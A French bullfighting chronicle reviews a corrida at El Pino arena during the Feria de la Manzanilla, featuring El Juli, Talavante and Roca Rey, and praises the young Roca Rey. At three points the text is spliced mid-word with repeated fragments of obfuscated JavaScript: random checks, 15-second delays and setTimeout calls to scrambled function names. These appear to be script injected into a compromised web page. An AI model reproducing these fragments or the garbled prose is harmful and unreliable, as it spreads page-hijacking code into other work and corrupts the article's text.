DE LA TERRE DE LA MANZANILLA

Les coquettes arènes de El Pino, parfumées de montagne et de salitre, ont ouvert leurs portes dimanche dernier pour la corrida de la Feria de la Manzanilla, qui est ce petit vin de couleur ambrée qui a pour don de faire chanter les gens de ces terres et de se retrouver dans l’allégresse devant ce toro qu’on affronte dans la vie avec un envol digne de chicuelinas des robes qui dansent les sévillanes.

Cette année, son organisateur, Carmelo García, a vraiment réussi en proposant une des affiches les plus alléchantes que l’on puisse avoir de nos jours dans des arènes du plus haut niveau. Cartel très intéressant non seulement par les noms des protagonistes –El Juli, Talavante et Roca Rey- mais aussi parce qu’elle se produit à un bon moment dans leurs carrières. Et pour compléter le cadre, une belle et encastée corrida de Torrealta, avec un poids moyen à la bascule de 507 kilos.

Que le cartel a plu cela s’est remarqué avec une grandom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}ande entrée dans les arènes –il manquait seulement quelques places pour que ce soit complet- dans des arènes réputées difficiles à remplir. Il en résulte que quandom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and les choses sont bien faites le public est là.

Le proverbe « corrida d’expectation, corrida de déception » n’a pas été validé ce jour-ci, car au succès économique de la corrida il faut y associer l’artistique où les toreros après avoir franchi l’inhospitalier, dur, antipathique et désagréable port de montagne de la San Isidro avec son toro disproportionné et son Saint Office d’illuminés intransigeants, ont profité d’un public aimable et d’un toro de Cour, bien fait et agréable de tête, qui cependant y a associé le piquant incommodant de la caste.

Les trois toreros ont triomphé et sont sortis a hombros, même si pour cela El Juli dut demandom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}ander le sobrero –profitant de l’omission réglementaire- car après avoir affronté son lot il avait coupé uniquement une oreille. Deux obtint Talavante du cinquième ; mais celui qui dynamita l’après-midi fut Roca Rey qui remporta les deux oreilles et la queue de ses deux adversaires.

Sans rentrer dans les détails, il me parait opportun de signaler le contraste entre deux toreros consacrés et vétérans comme le sont El Juli -18 ans d’alternative- et Talavante -10 ans de doctorat- avec l’impétuosité, la jeunesse débridée, la fraîcheur et l’ambition d’un Roca Rey qui en seulement huit mois d’alternative menace de tout chambouler avec sa tête privilégiée, son courage étonnant, son énorme aficion et son sens des responsabilités. Il cherche le triomphe jusqu’à sous les pierres, il déborde d’espoir dans chaque passe qu’il exécute, il ne laisse pas passer un quite et se projette dans les faenas avec la foi de celui qui est prédestiné pour la gloire. Tout ceci, bien entendu, ventile l’âme des aficionados avec un air propre, limpide et pur ouvrant des petites portes d’allégresse même chez les plus cafardeux.

Après avoir toréé la veille à Grenade, où il mérita le remplacement de Morante en coupant le jour d’avant trois oreilles dans ces mêmes arènes, Roca Rey est passé par Sanlucar tel un cyclone. Serait-ce le toro que nous attendions ?... Je parie que oui. Et après l’avoir vu à ce niveau dimanche devant son second toro, je confirme. Il va tout balayer et cherche le sommet.

Dans trois semaines, je le verrai de nouveau à Alicante. J’ai hâte d’y être.

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